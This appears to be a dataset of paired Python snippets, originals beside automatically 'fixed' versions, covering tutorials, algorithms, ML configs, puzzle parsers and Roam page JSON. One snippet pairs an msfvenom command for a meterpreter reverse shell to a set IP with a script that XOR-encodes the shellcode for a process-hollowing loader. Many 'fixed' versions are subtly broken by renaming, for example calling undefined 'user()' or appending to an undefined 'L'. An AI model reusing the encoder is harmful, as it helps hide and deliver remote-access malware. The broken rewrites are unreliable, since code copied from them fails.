content stringlengths 7 1.05M | fixed_cases stringlengths 1 1.28M |
|---|---|
# attributes are characteristics of an object defined in a "magic method" called __init__, which method is called when a new object is instantiated
class User: # declare a class and give it name User
def __init__(self):
self.name = "Steven"
self.email = "swm9220@gmail.com"
self.account_balance = 0
# instantiate a couple of new Users
guido = User()
monty = User()
# access instance's attributes
print(guido.name) # output: Michael
print(monty.name) # output: Michael
# set the values of User object instance's
guido.name = "Guido"
monty.name = "Monty"
class User:
def __init__(self, username, email_address): # now our method has 2 parameters!
self.name = username # and we use the values passed in to set the name attribute
self.email = email_address # and the email attribute
self.account_balance = 0 # the account balance is set to $0, so no need for a third parameter
guido = User("Guido van Rossum", "guido@python.com")
monty = User("Monty Python", "monty@python.com")
print(guido.name) # output: Guido van Rossum
print(monty.name) # output: Monty Python
guido.make_deposit(100)
class User: # here's what we have so far
def __init__(self, name, email):
self.name = name
self.email = email
self.account_balance = 0
# adding the deposit method
def make_deposit(self, amount): # takes an argument that is the amount of the deposit
self.account_balance += amount # the specific user's account increases by the amount of the value received
guido.make_deposit(100)
guido.make_deposit(200)
monty.make_deposit(50)
print(guido.account_balance) # output: 300
print(monty.account_balance) # output: 50
| class User:
def __init__(self):
self.name = 'Steven'
self.email = 'swm9220@gmail.com'
self.account_balance = 0
guido = user()
monty = user()
print(guido.name)
print(monty.name)
guido.name = 'Guido'
monty.name = 'Monty'
class User:
def __init__(self, username, email_address):
self.name = username
self.email = email_address
self.account_balance = 0
guido = user('Guido van Rossum', 'guido@python.com')
monty = user('Monty Python', 'monty@python.com')
print(guido.name)
print(monty.name)
guido.make_deposit(100)
class User:
def __init__(self, name, email):
self.name = name
self.email = email
self.account_balance = 0
def make_deposit(self, amount):
self.account_balance += amount
guido.make_deposit(100)
guido.make_deposit(200)
monty.make_deposit(50)
print(guido.account_balance)
print(monty.account_balance) |
# Algorithmic question
## Longest Palindromic Subsequence
# Given a string S, a subsequence s is obtained by combining characters in their order of appearance in S, whatever their position. The longest palindromic subsequence could be found checking all subsequences of a string, but that would take a running time of O(2^n). Here's an implementation of this highly time-consuming recursive algorithm.
# In[862]:
def toolongpalindromic(S):
maxlen = 0
if len(S) <= 1:
return(len(S))
if S[0]==S[-1]:
maxlen += 2 + toolongpalindromic(S[1:-1])
else:
maxlen += max(toolongpalindromic(S[:-1]), toolongpalindromic(S[1:]))
return(maxlen)
# toolongpalindromic('dataminingsapienza')
# import time
# st = time.time()
# toolongpalindromic('dataminingsapienza')
# time.time()-st
# To solve this problem in a polynomial time we can use dynamic programming, with which we check only the extreme characters of each substring, and if they are identical we add 2 to the length of the longest palindromic subsequence found between the extremes of the current substring, otherwise it keeps the greatest of the palindromic subsequences found in substrings of the current subsequence.
# In order to do this, we store the length of all palindromic subsequences and their position in a square array A of size n (the length of S), in which rows and columns are respectively the starting and ending positions of substrings built with consecutive characters of S, where A_{i, i+j}, 0<i< n,0<j<n-i is the length of the longest palindromic subsequence in the substring S[i,i+j]. Starting on the main diagonal, we store lengths of subsequences of 1 charachter, which are palindromic since they "start and end" with the same character. Initializing the array with an identity matrix, we can then proceed for substrings of length >1, checking if the extremes are identical. If that's the case, we add 2 to the element one position down and one left of the current position, which means that we are adding the 2 extremes to the letter count of the longest palindromic sequence found between the extremes (for subsequences of length 2, the 0's below the main diagonal of the identity matrix will be the starting values, since for those subsequences there's 0 elements between the extremes). If the extremes are different, we take the highest value between the element 1 position down and the one that's 1 position left the current one, which means that the current substring of lengthj inherits the longest palindromic subsequence count from the two overlapping substrings of length j-1 that built it, the first starting from the leftmost and the second ending at the rightmost character of the current substring.
# With dynamic programming, the algorithm keeps memory of the longest palindromic subsequences for substrings of growing length, until the full length of S is reached, for which the same procedure is applied. The final result, i.e. the length of the longest palindromic subsequence in the substring of length n (S itself), is obtained in the upper-right position of A, A_{0,n}.
### The solution obtained through dynamic programming has a running time of the order of O(n)^2.
# Defining a function to get substring of length l from the string S
def substrings(S, l):
L = []
for i in range(len(S)-l+1):
L.append(S[i:i+l])
return(L)
def longestpalindromic(S):
arr = np.identity(len(S), dtype='int')
for j in range(1,len(S)):
strings = subsstrings(S, j+1)
for i in range(len(S)-j):
s = strings[i]
if s[0] == s[-1]:
arr[i][i+j] = arr[i+1][i+j-1]+2
else:
arr[i][i+j] = max(arr[i+1][i+j],arr[i][i+j-1])
return arr[0][-1]
# longestpalindromic('dataminingsapienza')
# st = time.time()
# longestpalindromic('dataminingsapienza')
# time.time()-st
| def toolongpalindromic(S):
maxlen = 0
if len(S) <= 1:
return len(S)
if S[0] == S[-1]:
maxlen += 2 + toolongpalindromic(S[1:-1])
else:
maxlen += max(toolongpalindromic(S[:-1]), toolongpalindromic(S[1:]))
return maxlen
def substrings(S, l):
l = []
for i in range(len(S) - l + 1):
L.append(S[i:i + l])
return L
def longestpalindromic(S):
arr = np.identity(len(S), dtype='int')
for j in range(1, len(S)):
strings = subsstrings(S, j + 1)
for i in range(len(S) - j):
s = strings[i]
if s[0] == s[-1]:
arr[i][i + j] = arr[i + 1][i + j - 1] + 2
else:
arr[i][i + j] = max(arr[i + 1][i + j], arr[i][i + j - 1])
return arr[0][-1] |
# import numpy as np
# import matplotlib.pyplot as plt
class TimeBlock:
def __init__(self,name,level,time,percentage):
self.name = name
self.level = int(level)
self.percentage = float(percentage)
self.time = float(time)
self.children = []
self.parent = []
def AddChild(self,block):
self.children.append(block)
def AddParent(self,block):
self.parent = block
def ToMiliSecond(self):
return int(self.time*1000)
def ReadProfiler(folder,profName):
# opent the profiler data
filename = folder +"/"+ profName + "_time.csv"
#initialize the list of first level blocks
profile = []
current = None # = TimeBlock("root",0,0.0,0.0)
# Open and read the profiler file
with open(filename,"r") as file:
filecont = file.read()
data = filecont.split("\n")
# read every line -> this is a profiler entry
for s in data:
entry = s.split(";",100)
# if the entry has some interesting numbers
if(len(entry) > 1):
level = int(entry[1])
# create a new block
# name,level, max_time, glob_percent, mean_time_per_count, max_count
block = TimeBlock(entry[0],entry[1],entry[2],entry[3])
if(level == 1):
# if the block is level 1, simply create a new
profile.append(block)
else:
# go back in time
for i in range(level,current.level+1):
current = current.parent
# add the child - parent link
current.AddChild(block)
block.AddParent(current)
# in any case, the current block is the new boss
current = block
# close the file
file.close()
return profile
| class Timeblock:
def __init__(self, name, level, time, percentage):
self.name = name
self.level = int(level)
self.percentage = float(percentage)
self.time = float(time)
self.children = []
self.parent = []
def add_child(self, block):
self.children.append(block)
def add_parent(self, block):
self.parent = block
def to_mili_second(self):
return int(self.time * 1000)
def read_profiler(folder, profName):
filename = folder + '/' + profName + '_time.csv'
profile = []
current = None
with open(filename, 'r') as file:
filecont = file.read()
data = filecont.split('\n')
for s in data:
entry = s.split(';', 100)
if len(entry) > 1:
level = int(entry[1])
block = time_block(entry[0], entry[1], entry[2], entry[3])
if level == 1:
profile.append(block)
else:
for i in range(level, current.level + 1):
current = current.parent
current.AddChild(block)
block.AddParent(current)
current = block
file.close()
return profile |
_base_ = [
'../../_base_/models/swin/swin_small.py', '../../_base_/default_runtime.py'
]
pretrained_path='pretrained/swin_small_patch244_window877_kinetics400_1k.pth'
model=dict(backbone=dict(patch_size=(2,4,4), drop_path_rate=0.1, pretrained2d=False, pretrained=pretrained_path),cls_head=dict(num_classes=2),test_cfg=dict(max_testing_views=4))
# dataset settings
dataset_type = 'FatigueCleanDataset'
data_root = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_clips'
data_root_val = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_clips'
facerect_data_prefix = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_info_from_yolov5'
ann_file_train = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
ann_file_val = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
ann_file_test = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_bgr=False)
clip_len = 48
train_pipeline = [
dict(type='SampleFrames', clip_len=clip_len, frame_interval=1, num_clips=1, out_of_bound_opt='repeat_last'),
dict(type='FatigueRawFrameDecode'),
dict(type='Resize', scale=(-1, 256)),
dict(type='RandomResizedCrop'),
dict(type='Resize', scale=(224, 224), keep_ratio=False),
dict(type='Flip', flip_ratio=0.5),
dict(type='Normalize', **img_norm_cfg),
dict(type='FormatShape', input_format='NCTHW'),
dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]),
dict(type='ToTensor', keys=['imgs', 'label'])
]
val_pipeline = [
dict(
type='SampleFrames',
clip_len=clip_len,
frame_interval=1,
num_clips=1,
test_mode=True,
out_of_bound_opt='repeat_last'),
dict(type='FatigueRawFrameDecode'),
dict(type='Resize', scale=(-1, 256)),
dict(type='CenterCrop', crop_size=224),
dict(type='Flip', flip_ratio=0),
dict(type='Normalize', **img_norm_cfg),
dict(type='FormatShape', input_format='NCTHW'),
dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]),
dict(type='ToTensor', keys=['imgs'])
]
test_pipeline = [
dict(
type='SampleFrames',
clip_len=clip_len,
frame_interval=1,
num_clips=1,
test_mode=True,
out_of_bound_opt='repeat_last'),
dict(type='FatigueRawFrameDecode'),
dict(type='Resize', scale=(-1, 224)),
dict(type='ThreeCrop', crop_size=224),
dict(type='Flip', flip_ratio=0),
dict(type='Normalize', **img_norm_cfg),
dict(type='FormatShape', input_format='NCTHW'),
dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]),
dict(type='ToTensor', keys=['imgs'])
]
data = dict(
videos_per_gpu=2,
workers_per_gpu=4,
pin_memory=False,
val_dataloader=dict(
videos_per_gpu=1,
workers_per_gpu=1
),
test_dataloader=dict(
videos_per_gpu=1,
workers_per_gpu=1
),
train=dict(
type=dataset_type,
ann_file=ann_file_train,
video_data_prefix=data_root,
facerect_data_prefix=facerect_data_prefix,
data_phase='train',
test_mode=False,
pipeline=train_pipeline,
min_frames_before_fatigue=clip_len),
val=dict(
type=dataset_type,
ann_file=ann_file_val,
video_data_prefix=data_root_val,
facerect_data_prefix=facerect_data_prefix,
data_phase='valid',
test_mode=True,
test_all=False,
pipeline=val_pipeline,
min_frames_before_fatigue=clip_len),
test=dict(
type=dataset_type,
ann_file=ann_file_test,
video_data_prefix=data_root_val,
facerect_data_prefix=facerect_data_prefix,
data_phase='valid',
test_mode=True,
test_all=False,
pipeline=test_pipeline,
min_frames_before_fatigue=clip_len))
evaluation = dict(
interval=5, metrics=['top_k_classes'])
# optimizer
optimizer = dict(type='AdamW', lr=1e-3, betas=(0.9, 0.999), weight_decay=0.02,
paramwise_cfg=dict(custom_keys={'absolute_pos_embed': dict(decay_mult=0.),
'relative_position_bias_table': dict(decay_mult=0.),
'norm': dict(decay_mult=0.),
'backbone': dict(lr_mult=0.1)}))
# learning policy
lr_config = dict(
policy='CosineAnnealing',
min_lr=0,
warmup='linear',
warmup_by_epoch=True,
warmup_iters=2.5
)
total_epochs = 30
# runtime settings
checkpoint_config = dict(interval=1)
work_dir = '/zhourui/workspace/pro/source/mmaction2/work_dirs/fatigue_swin_small.py'
find_unused_parameters = False
# do not use mmdet version fp16
fp16 = None
optimizer_config = dict(
type="DistOptimizerHook",
update_interval=8,
grad_clip=None,
coalesce=True,
bucket_size_mb=-1,
use_fp16=False,
)
| _base_ = ['../../_base_/models/swin/swin_small.py', '../../_base_/default_runtime.py']
pretrained_path = 'pretrained/swin_small_patch244_window877_kinetics400_1k.pth'
model = dict(backbone=dict(patch_size=(2, 4, 4), drop_path_rate=0.1, pretrained2d=False, pretrained=pretrained_path), cls_head=dict(num_classes=2), test_cfg=dict(max_testing_views=4))
dataset_type = 'FatigueCleanDataset'
data_root = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_clips'
data_root_val = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_clips'
facerect_data_prefix = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_info_from_yolov5'
ann_file_train = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
ann_file_val = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
ann_file_test = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
img_norm_cfg = dict(mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_bgr=False)
clip_len = 48
train_pipeline = [dict(type='SampleFrames', clip_len=clip_len, frame_interval=1, num_clips=1, out_of_bound_opt='repeat_last'), dict(type='FatigueRawFrameDecode'), dict(type='Resize', scale=(-1, 256)), dict(type='RandomResizedCrop'), dict(type='Resize', scale=(224, 224), keep_ratio=False), dict(type='Flip', flip_ratio=0.5), dict(type='Normalize', **img_norm_cfg), dict(type='FormatShape', input_format='NCTHW'), dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]), dict(type='ToTensor', keys=['imgs', 'label'])]
val_pipeline = [dict(type='SampleFrames', clip_len=clip_len, frame_interval=1, num_clips=1, test_mode=True, out_of_bound_opt='repeat_last'), dict(type='FatigueRawFrameDecode'), dict(type='Resize', scale=(-1, 256)), dict(type='CenterCrop', crop_size=224), dict(type='Flip', flip_ratio=0), dict(type='Normalize', **img_norm_cfg), dict(type='FormatShape', input_format='NCTHW'), dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]), dict(type='ToTensor', keys=['imgs'])]
test_pipeline = [dict(type='SampleFrames', clip_len=clip_len, frame_interval=1, num_clips=1, test_mode=True, out_of_bound_opt='repeat_last'), dict(type='FatigueRawFrameDecode'), dict(type='Resize', scale=(-1, 224)), dict(type='ThreeCrop', crop_size=224), dict(type='Flip', flip_ratio=0), dict(type='Normalize', **img_norm_cfg), dict(type='FormatShape', input_format='NCTHW'), dict(type='Collect', keys=['imgs', 'label'], meta_keys=[]), dict(type='ToTensor', keys=['imgs'])]
data = dict(videos_per_gpu=2, workers_per_gpu=4, pin_memory=False, val_dataloader=dict(videos_per_gpu=1, workers_per_gpu=1), test_dataloader=dict(videos_per_gpu=1, workers_per_gpu=1), train=dict(type=dataset_type, ann_file=ann_file_train, video_data_prefix=data_root, facerect_data_prefix=facerect_data_prefix, data_phase='train', test_mode=False, pipeline=train_pipeline, min_frames_before_fatigue=clip_len), val=dict(type=dataset_type, ann_file=ann_file_val, video_data_prefix=data_root_val, facerect_data_prefix=facerect_data_prefix, data_phase='valid', test_mode=True, test_all=False, pipeline=val_pipeline, min_frames_before_fatigue=clip_len), test=dict(type=dataset_type, ann_file=ann_file_test, video_data_prefix=data_root_val, facerect_data_prefix=facerect_data_prefix, data_phase='valid', test_mode=True, test_all=False, pipeline=test_pipeline, min_frames_before_fatigue=clip_len))
evaluation = dict(interval=5, metrics=['top_k_classes'])
optimizer = dict(type='AdamW', lr=0.001, betas=(0.9, 0.999), weight_decay=0.02, paramwise_cfg=dict(custom_keys={'absolute_pos_embed': dict(decay_mult=0.0), 'relative_position_bias_table': dict(decay_mult=0.0), 'norm': dict(decay_mult=0.0), 'backbone': dict(lr_mult=0.1)}))
lr_config = dict(policy='CosineAnnealing', min_lr=0, warmup='linear', warmup_by_epoch=True, warmup_iters=2.5)
total_epochs = 30
checkpoint_config = dict(interval=1)
work_dir = '/zhourui/workspace/pro/source/mmaction2/work_dirs/fatigue_swin_small.py'
find_unused_parameters = False
fp16 = None
optimizer_config = dict(type='DistOptimizerHook', update_interval=8, grad_clip=None, coalesce=True, bucket_size_mb=-1, use_fp16=False) |
permissions_admin = {}
permissions_kigstn = {}
permissions_socialist = {}
# todo
| permissions_admin = {}
permissions_kigstn = {}
permissions_socialist = {} |
# Definition for a binary tree node.
"""
timecomplexity = O(n)
when construct the maximun tree, use a stack to protect the cur element which can be joined to the tree as its sequence
for example
[3,2,1,6,0,5]
if cur < = stack.pop
add next into stack and let cur be pop's rightnode
else pop the element from stack until stack is empty or the element in stack is larger than cur
put in cur node in stack and let the last one which come out from stack be its leftnode
continue
"""
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def constructMaximumBinaryTree(self, nums: List[int]) -> TreeNode:
if len(nums) == 0:
return None
# construct a list each element is a node
stack = [TreeNode(nums[0])]
for i in nums[1::]:
node = TreeNode(i)
# i < stack the last element append node and let it be cur leaf's right
if i <= stack[-1].val:
stack[-1].right = node
else:
while stack and stack[-1].val < i:
#if pop element out make sure it become cur node's leftnode, or the node will be lost
node.left = stack.pop()
# if stack isnot empty after last step, let node be lastnode's rightnode
if stack:
stack[-1].right = node
stack.append(node)
return stack[0]
| """
timecomplexity = O(n)
when construct the maximun tree, use a stack to protect the cur element which can be joined to the tree as its sequence
for example
[3,2,1,6,0,5]
if cur < = stack.pop
add next into stack and let cur be pop's rightnode
else pop the element from stack until stack is empty or the element in stack is larger than cur
put in cur node in stack and let the last one which come out from stack be its leftnode
continue
"""
class Treenode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def construct_maximum_binary_tree(self, nums: List[int]) -> TreeNode:
if len(nums) == 0:
return None
stack = [tree_node(nums[0])]
for i in nums[1:]:
node = tree_node(i)
if i <= stack[-1].val:
stack[-1].right = node
else:
while stack and stack[-1].val < i:
node.left = stack.pop()
if stack:
stack[-1].right = node
stack.append(node)
return stack[0] |
print("Python has three numeric types: int, float, and complex")
myValue=1
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=3.14
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=5j
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=True
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue)))
myValue=False
print(myValue)
print(type(myValue))
print(str(myValue) + " is of the data type " + str(type(myValue))) | print('Python has three numeric types: int, float, and complex')
my_value = 1
print(myValue)
print(type(myValue))
print(str(myValue) + ' is of the data type ' + str(type(myValue)))
my_value = 3.14
print(myValue)
print(type(myValue))
print(str(myValue) + ' is of the data type ' + str(type(myValue)))
my_value = 5j
print(myValue)
print(type(myValue))
print(str(myValue) + ' is of the data type ' + str(type(myValue)))
my_value = True
print(myValue)
print(type(myValue))
print(str(myValue) + ' is of the data type ' + str(type(myValue)))
my_value = False
print(myValue)
print(type(myValue))
print(str(myValue) + ' is of the data type ' + str(type(myValue))) |
N=int(input("numero? "))
if N % 2 == 0:
valor = False
else:
valor = True
i=3
while valor and i <= N-1:
valor=valor and (N % i != 0)
i = i + 2
print(valor)
| n = int(input('numero? '))
if N % 2 == 0:
valor = False
else:
valor = True
i = 3
while valor and i <= N - 1:
valor = valor and N % i != 0
i = i + 2
print(valor) |
#!/usr/bin/env python
EXAMPLE = """class: 1-3 or 5-7
row: 6-11 or 33-44
seat: 13-40 or 45-50
your ticket:
7,1,14
nearby tickets:
7,3,47
40,4,50
55,2,20
38,6,12
"""
def parse_input(text):
"""Meh
>>> parse_input(EXAMPLE)
({'class': [(1, 3), (5, 7)], 'row': [(6, 11), (33, 44)], 'seat': [(13, 40), (45, 50)]}, [7, 1, 14], [[7, 3, 47], [40, 4, 50], [55, 2, 20], [38, 6, 12]])
"""
rules = {}
myticket = []
nearbytickets = []
mode = "rules"
for line in text.strip().split("\n"):
if line == "":
continue
if line.startswith("your ticket:"):
mode = "myticket"
continue
if line.startswith("nearby tickets:"):
mode = "nearby"
continue
if mode == "rules":
rulename, constraints = line.split(":")
constraints = constraints.split(" or ")
ranges = [tuple(map(int, rng.strip().split("-"))) for rng in constraints]
rules[rulename] = ranges
continue
if mode in ("myticket", "nearby"):
ticket = [int(n) for n in line.strip().split(",")]
if mode == "myticket":
myticket = ticket
continue
if mode == "nearby":
nearbytickets.append(ticket)
continue
return rules, myticket, nearbytickets
def check_value(rules, value):
"""
>>> RULES = parse_input(EXAMPLE)[0]
>>> check_value(RULES, 7)
True
>>> check_value(RULES, 1)
True
>>> check_value(RULES, 14)
True
>>> check_value(RULES, 40)
True
>>> check_value(RULES, 50)
True
>>> check_value(RULES, 38)
True
>>> check_value(RULES, 4)
False
>>> check_value(RULES, 55)
False
>>> check_value(RULES, 12)
False
"""
return any((mi <= value <= ma for rule in rules.values() for mi, ma in rule))
def process_tickets(rules, mine, others):
"""
>>> process_tickets(*parse_input(EXAMPLE))
[4, 55, 12]
"""
invalid_values = []
invalid_values.extend((value for value in mine if not check_value(rules, value)))
for ticket in others:
invalid_values.extend(
(value for value in ticket if not check_value(rules, value))
)
return invalid_values
if __name__ == "__main__":
with open("input") as fd:
print(sum(process_tickets(*parse_input(fd.read()))))
| example = 'class: 1-3 or 5-7\nrow: 6-11 or 33-44\nseat: 13-40 or 45-50\n\nyour ticket:\n7,1,14\n\nnearby tickets:\n7,3,47\n40,4,50\n55,2,20\n38,6,12\n'
def parse_input(text):
"""Meh
>>> parse_input(EXAMPLE)
({'class': [(1, 3), (5, 7)], 'row': [(6, 11), (33, 44)], 'seat': [(13, 40), (45, 50)]}, [7, 1, 14], [[7, 3, 47], [40, 4, 50], [55, 2, 20], [38, 6, 12]])
"""
rules = {}
myticket = []
nearbytickets = []
mode = 'rules'
for line in text.strip().split('\n'):
if line == '':
continue
if line.startswith('your ticket:'):
mode = 'myticket'
continue
if line.startswith('nearby tickets:'):
mode = 'nearby'
continue
if mode == 'rules':
(rulename, constraints) = line.split(':')
constraints = constraints.split(' or ')
ranges = [tuple(map(int, rng.strip().split('-'))) for rng in constraints]
rules[rulename] = ranges
continue
if mode in ('myticket', 'nearby'):
ticket = [int(n) for n in line.strip().split(',')]
if mode == 'myticket':
myticket = ticket
continue
if mode == 'nearby':
nearbytickets.append(ticket)
continue
return (rules, myticket, nearbytickets)
def check_value(rules, value):
"""
>>> RULES = parse_input(EXAMPLE)[0]
>>> check_value(RULES, 7)
True
>>> check_value(RULES, 1)
True
>>> check_value(RULES, 14)
True
>>> check_value(RULES, 40)
True
>>> check_value(RULES, 50)
True
>>> check_value(RULES, 38)
True
>>> check_value(RULES, 4)
False
>>> check_value(RULES, 55)
False
>>> check_value(RULES, 12)
False
"""
return any((mi <= value <= ma for rule in rules.values() for (mi, ma) in rule))
def process_tickets(rules, mine, others):
"""
>>> process_tickets(*parse_input(EXAMPLE))
[4, 55, 12]
"""
invalid_values = []
invalid_values.extend((value for value in mine if not check_value(rules, value)))
for ticket in others:
invalid_values.extend((value for value in ticket if not check_value(rules, value)))
return invalid_values
if __name__ == '__main__':
with open('input') as fd:
print(sum(process_tickets(*parse_input(fd.read())))) |
NSNAM_CODE_BASE_URL = "http://code.nsnam.org/"
PYBINDGEN_BRANCH = 'https://launchpad.net/pybindgen'
LOCAL_PYBINDGEN_PATH = 'pybindgen'
#
# The last part of the path name to use to find the regression traces tarball.
# path will be APPNAME + '-' + VERSION + REGRESSION_SUFFIX + TRACEBALL_SUFFIX,
# e.g., ns-3-dev-ref-traces.tar.bz2
#
TRACEBALL_SUFFIX = ".tar.bz2"
# NetAnim
NETANIM_REPO = "http://code.nsnam.org/netanim"
NETANIM_RELEASE_URL = "http://www.nsnam.org/tools/netanim"
LOCAL_NETANIM_PATH = "netanim"
# bake
BAKE_REPO = "http://code.nsnam.org/bake"
| nsnam_code_base_url = 'http://code.nsnam.org/'
pybindgen_branch = 'https://launchpad.net/pybindgen'
local_pybindgen_path = 'pybindgen'
traceball_suffix = '.tar.bz2'
netanim_repo = 'http://code.nsnam.org/netanim'
netanim_release_url = 'http://www.nsnam.org/tools/netanim'
local_netanim_path = 'netanim'
bake_repo = 'http://code.nsnam.org/bake' |
class Person:
def __init__(self, person_id, name):
self.person_id = person_id
self.name = name
self.first_page = None
self.last_pages = []
class Link:
def __init__(self, current_page_number, person=None, colour_id=None, image_id=None, group_id=None):
self.current_page_number = current_page_number
self.person = person
self.colour_id = colour_id
self.image_id = image_id
self.group_id = group_id
self.next_links = []
self.next_link_captions = []
def __str__(self):
return "{} ==> {}: {} {} {}".format(
self.current_page_number,
[next_link.current_page_number if isinstance(next_link, Link) else next_link for next_link in self.next_links],
self.person.name,
self.colour_id,
self.image_id
)
def link_to(self, next_link, caption=None):
self.next_links.append(next_link)
self.next_link_captions.append(caption)
def to_json(self, get_person, next_page_links):
next_links = (next_link if isinstance(next_link, Link) else get_person(next_link).first_page for next_link in self.next_links)
return [
self.person.person_id, self.colour_id, self.image_id, self.group_id,
[
[next_link.current_page_number, next_page_links[next_link.current_page_number].index(next_link)] + ([caption] if caption is not None else [])
for next_link, caption in zip(next_links, self.next_link_captions)
]
]
| class Person:
def __init__(self, person_id, name):
self.person_id = person_id
self.name = name
self.first_page = None
self.last_pages = []
class Link:
def __init__(self, current_page_number, person=None, colour_id=None, image_id=None, group_id=None):
self.current_page_number = current_page_number
self.person = person
self.colour_id = colour_id
self.image_id = image_id
self.group_id = group_id
self.next_links = []
self.next_link_captions = []
def __str__(self):
return '{} ==> {}: {} {} {}'.format(self.current_page_number, [next_link.current_page_number if isinstance(next_link, Link) else next_link for next_link in self.next_links], self.person.name, self.colour_id, self.image_id)
def link_to(self, next_link, caption=None):
self.next_links.append(next_link)
self.next_link_captions.append(caption)
def to_json(self, get_person, next_page_links):
next_links = (next_link if isinstance(next_link, Link) else get_person(next_link).first_page for next_link in self.next_links)
return [self.person.person_id, self.colour_id, self.image_id, self.group_id, [[next_link.current_page_number, next_page_links[next_link.current_page_number].index(next_link)] + ([caption] if caption is not None else []) for (next_link, caption) in zip(next_links, self.next_link_captions)]] |
#!/usr/bin/env python
# Put non-encoded C# payload below.
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.229.129 LPORT=2600 -f csharp
# Put only byte payload below
payload = []
def cspretty(buf_payload):
"""
Take in list of hex bytes and make the appropriate format for C# code.
"""
buf_len = str(len(buf_payload))
print("\npublic static byte [] shellcode = new byte[%s] {%s};" % (buf_len, ",".join(buf_payload)))
print("\n\n\t[+} Replace the shelcode buffer within Msfpayload.cs of hollow")
if __name__ == "__main__":
xor_encoded_payload = []
key = 0x42 # Ensure this key matches the hollow project.
print("\t[+] Using key %s" % hex(key))
for i in payload:
xor_encoded_payload.append(hex(i ^ key))
cspretty(xor_encoded_payload)
| payload = []
def cspretty(buf_payload):
"""
Take in list of hex bytes and make the appropriate format for C# code.
"""
buf_len = str(len(buf_payload))
print('\npublic static byte [] shellcode = new byte[%s] {%s};' % (buf_len, ','.join(buf_payload)))
print('\n\n\t[+} Replace the shelcode buffer within Msfpayload.cs of hollow')
if __name__ == '__main__':
xor_encoded_payload = []
key = 66
print('\t[+] Using key %s' % hex(key))
for i in payload:
xor_encoded_payload.append(hex(i ^ key))
cspretty(xor_encoded_payload) |
page_01="""
{
"title": "September 27th, 2020",
"children": [
{
"string": "I'm exploring Roam. At present it looks like the application I have been looking for (and wanting to build) for decades!",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199052228,
"uid": "STxEtlrfX",
"edit-time": 1601199052889,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "I am starting on a [[weekly plan]] which I would normally mindmap.",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199054233,
"uid": "TTOJcnfoI",
"edit-time": 1601199282820,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "This looks as if it may be a good replacement for [[TiddlyWiki]].",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199282952,
"uid": "fUqDePkss",
"edit-time": 1601199363820,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "{{[[DONE]]}} I should take a look at [[MailMunch]].",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199364439,
"uid": "9R178KGAY",
"edit-time": 1601214570241,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "The [[Roam]] website took me to [Ness Labs](https://nesslabs.com/roam-research-beginner-guide) where there is other interesting stuff.",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601207720624,
"uid": "NDBu8xonq",
"edit-time": 1601208019417,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "{{[[TODO]]}} I'll also start building up some [[Accelerator Key Resources]].",
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601224109581,
"uid": "C8xuCi43V",
"edit-time": 1601224162576,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "Import",
"children": [
{
"string": "[[planning]]",
"children": [
{
"string": "From: planning.md",
"uid": "0VGVaFbbY",
"edit-time": 1601225982592,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "1I6qDXHU9",
"edit-time": 1601225982592,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "wMh8vBg2B",
"edit-time": 1601225982592,
"edit-email": "romilly.cocking@gmail.com"
},
{
"string": "Import",
"children": [
{
"string": "[[External Research]]",
"children": [
{
"string": "From: external-research.md",
"uid": "VvWmwN2gw",
"edit-time": 1601226211424,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "6nA3VvrHX",
"edit-time": 1601226280229,
"edit-email": "romilly.cocking@gmail.com"
}
],
"uid": "LQxdpzehK",
"edit-time": 1601226211424,
"edit-email": "romilly.cocking@gmail.com"
}
],
"edit-time": 1601226211424,
"edit-email": "romilly.cocking@gmail.com"
}
"""
page_02 = """
{
"create-email": "romilly.cocking@gmail.com",
"create-time": 1601199263426,
"title": "weekly plan",
